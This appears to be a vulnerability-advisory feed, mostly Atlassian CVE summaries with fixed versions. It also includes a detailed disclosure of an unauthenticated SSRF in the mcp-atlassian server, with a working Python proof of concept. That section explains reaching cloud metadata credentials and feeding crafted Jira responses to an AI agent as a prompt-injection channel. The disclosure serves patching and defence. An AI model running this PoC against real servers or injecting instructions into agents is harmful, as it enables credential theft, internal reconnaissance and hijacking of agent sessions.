This High severity RCE (Remote Code Execution) vulnerability was introduced in version 3.4.11 of Sourcetree for Mac and Sourcetree for Windows. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.1, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Sourcetree for Mac and Sourcetree for Windows customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Sourcetree for Mac and Sourcetree for Windows 3.4: Upgrade to a release greater than or equal to 3.4.13 See the release notes (https://www.sourcetreeapp.com/download-archives). You can download the latest version of Sourcetree for Mac and Sourcetree for Windows from the download center (https://www.sourcetreeapp.com/download-archives). This vulnerability was reported via our Bug Bounty program.

This High severity Information Disclosure vulnerability was introduced in versions 7.17.0, 7.19.0, 8.5.0, 8.9.0, 9.0.1, 9.1.0, 9.2.0, 10.0.2, 10.1.0, and 10.2.0 of Confluence Data Center. This Information Disclosure vulnerability, with a CVSS Score of 8.2, allows an unauthenticated attacker to view sensitive information via an Information Disclosure vulnerability. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center 9.2: Upgrade to a release greater than or equal to 9.2.22 Confluence Data Center 10.2: Upgrade to a release greater than or equal to 10.2.14 See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was reported via our Atlassian (Internal) program.

This High severity DoS (Denial of Service) vulnerability was introduced in versions 9.0.1, 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, 10.1.0 and 10.2.0 of Confluence Data Center. This DoS (Denial of Service) vulnerability, with a CVSS Score of 7.1, allows an authenticated attacker to cause a resource to be unavailable for its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center 9.2: Upgrade to a release greater than or equal to 9.2.17 Confluence Data Center 10.2: Upgrade to a release greater than or equal to 10.2.7 See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was reported via our Penetration Testing program.

This Critical severity OS Command Injection vulnerability was introduced in versions 9.6.0, 10.0.0, 10.1.0, 10.2.0, 11.0.0, 11.1.0, 12.0.0, and 12.1.0 of Bamboo Data Center.   This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 9.4 and a CVSS Vector of CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H allows an authenticated attacker to execute commands on the remote system, which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction.   Atlassian recommends that Bamboo Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Bamboo Data Center 9.6.0: Upgrade to a release greater than or equal to 9.6.25 Bamboo Data Center 10.2: Upgrade to a release greater than or equal to 10.2.18  Bamboo Data Center 12.1: Upgrade to a release greater than or equal to 12.1.6 See the release notes ([https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]). You can download the latest version of Bamboo Data Center from the download center ([https://www.atlassian.com/software/bamboo/download-archives]).

This High severity RCE (Remote Code Execution)  vulnerability was introduced in versions 9.6.0, 10.0.0, 10.1.0, 10.2.0, 11.0.0, 11.1.0, 12.0.0, and 12.1.0 of Bamboo Data Center. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 8.6, allows an authenticated attacker to execute malicious code on the remote system. Atlassian recommends that Bamboo Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Bamboo Data Center 9.6: Upgrade to a release greater than or equal to 9.6.24 Bamboo Data Center 10.2: Upgrade to a release greater than or equal to 10.2.16 Bamboo Data Center 12.1: Upgrade to a release greater than or equal to 12.1.3 See the release notes ([https://confluence.atlassian.com/bambooreleases/bamboo-release-notes-1189793869.html]). You can download the latest version of Bamboo Data Center from the download center ([https://www.atlassian.com/software/bamboo/download-archives]). This vulnerability was reported via our Atlassian (Internal) program.

Summary An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcpatlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcpatlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (getcurrentuseraccountid()) immediately issues a GET request to {headerurl}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRAURL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions — all four must hold: 1. Server running with --transport streamable-http or --transport sse 2. Request contains X-Atlassian-Jira-Url header (any non-empty value) 3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value) 4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcpatlassian/servers/main.py:436–448): python # When service headers are present and no Authorization header is provided, # auth type is set to "pat" but useratlassiantoken is NOT set. # This is what routes execution to the vulnerable path below. if serviceheaders and (jiratokenstr and jiraurlstr): scope["state"]["useratlassianauthtype"] = "pat"

Root cause - dependency provider (src/mcpatlassian/servers/dependencies.py:189–217): if ( userauthtype == "pat" and jiraurlheader # attacker-controlled, no validation and jiratokenheader and not hasattr(request.state, "useratlassiantoken") ): headerconfig = JiraConfig( url=jiraurlheader, # used directly, no allowlist check personaltoken=jiratokenheader, ... ) headerjirafetcher = JiraFetcher(config=headerconfig) headerjirafetcher.getcurrentuseraccountid() # ^ GET {jiraurlheader}/rest/api/2/myself — outbound SSRF call request.state.jirafetcher = headerjirafetcher # cached for all tool calls this request

PoC Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys

class Handler(BaseHTTPRequestHandler): def doGET(self): print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr) print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr) self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.endheaders() if "myself" in self.path: self.wfile.write(json.dumps({ "accountId": "ssrf-confirmed", "displayName": "SSRF PoC" }).encode()) else: self.wfile.write(b"{}") def logmessage(self, args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serveforever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRAURL=https://placeholder.atlassian.net \ JIRAAPITOKEN=placeholder \ mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP = "http://localhost:8000/mcp" ATTACK = "http://<listener-ip>:8888"

# Initialize MCP session r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")

# Call any Jira tool — this triggers getjirafetcher() and the outbound SSRF call httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jiragetissue", "arguments": {"issuekey": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.

Impact This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices) not directly reachable from outside the network. - AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation. - Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.

This High severity XXE (XML External Entity Injection) vulnerability was introduced in version 7.1.0 of Crowd Data Center and Server. This XXE (XML External Entity Injection) vulnerability, with a CVSS Score of 7.9, allows an authenticated attacker to access local and remote content which has high impact to confidentiality, low impact to integrity, high impact to availability, and requires no user interaction. Atlassian recommends that Crowd Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Crowd Data Center and Server 7.1: Upgrade to a release greater than or equal to 7.1.3 See the release notes (https://confluence.atlassian.com/crowd/crowd-release-notes-199094.html). You can download the latest version of Crowd Data Center and Server from the download center (https://www.atlassian.com/software/crowd/download-archive). This vulnerability was reported via our Atlassian (Internal) program.

The WorklogPRO - Timesheets for Jira plugin in Jira Data Center before version 4.23.6-jira10 and before version 4.23.5-jira9 allows users and attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS) vulnerability. The vulnerability is exploited via a specially crafted payload placed in an issue's summary field

The WorklogPRO - Jira Timesheets plugin in the Jira Data Center before 4.24.2-jira9, 4.24.2-jira10 and 4.24.2-jira11 allows attackers to inject arbitrary HTML or JavaScript via XSS. This is exploited via a crafted payload placed in the name of a filter. This code is executed in the browser when the user attempts to create a timesheet with the filter timesheet type on the custom timesheet dialog because the filter name is not properly sanitized during the action.

End of life: 12/3/2027, Latest version: 11.3.10

End of life: 12/2/2027, Latest version: 10.2.15

End of life: 11/6/2027, Latest version: 11.2.1

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view certain sprint data without the required permission.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to subscribe to an item/object without having the expected permission level.

Jira Align is vulnerable to an authorization issue. A low-privilege user without sufficient privileges to perform an action could if they included a particular state-related parameter of a user with sufficient privileges to perform the action.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view items on the "Why" page.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view portfolio rooms without the required permission.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to read external reports without the required permission.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view audit log items.

Jira Align is vulnerable to an authorization issue. A low-privilege user is able to alter the private checklists of other users.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to view other team overviews.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to modify the steps of another user's private checklist.

Jira Align is vulnerable to an authorization issue. A low-privilege user can access unexpected endpoints that disclose a small amount of sensitive information. For example, a low-level user was able to read the steps of another user's private checklist.

This High severity Path Traversal (Arbitrary Write) vulnerability was introduced in versions: 9.12.0, 10.3.0 and remain present in 11.0.0 of Jira Software Data Center and Server. This Path Traversal (Arbitrary Write) vulnerability, with a CVSS Score of 8.7, allows an attacker to modify any filesystem path writable by the Jira JVM process. Atlassian recommends that Jira Software Data Center and Server customers upgrade to the latest version; if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Jira Software Data Center and Server 9.12: Upgrade to a release greater than or equal to 9.12.28 Jira Software Data Center and Server 10.3: Upgrade to a release greater than or equal to 10.3.12 Jira Software Data Center and Server 11.0: Upgrade to a release greater than or equal to 11.1.0 See the release notes. You can download the latest version of Jira Software Data Center and Server from the download center. This vulnerability was reported via our Atlassian (Internal) program.

This High severity DoS (Denial of Service) vulnerability was introduced in version 2.0 of Confluence Data Center. This DoS (Denial of Service) vulnerability, with a CVSS Score of 8.3, allows an attacker to cause a resource to be unavailable for its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 8.5: Upgrade to a release greater than or equal to 8.5.25 Confluence Data Center and Server 9.2: Upgrade to a release greater than or equal to 9.2.7 Confluence Data Center and Server 10.0: Upgrade to a release greater than or equal to 10.0.2 See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was reported via our Atlassian (Internal) program.

End of life: 10/7/2027, Latest version: 10.1.2

End of life: 9/24/2027, Latest version: 11.1.1

Agiloft Release 28 contains an XML External Entities vulnerability in any table that allows 'import/export', allowing an authenticated attacker to import the template file and perform path traversal on the local system files. Users should upgrade to Agiloft Release 31.

Agiloft Release 28 downloads critical system packages over an insecure HTTP connection. An attacker in a Man-In-the-Middle position could replace or modify the contents of the download URL. Users should upgrade to Agiloft Release 30.

Agiloft Release 28 contains several accounts with default credentials that could allow local privilege escalation. The password hash is known for at least one of the accounts and the credentials could be cracked offline. Users should upgrade to Agiloft Release 30.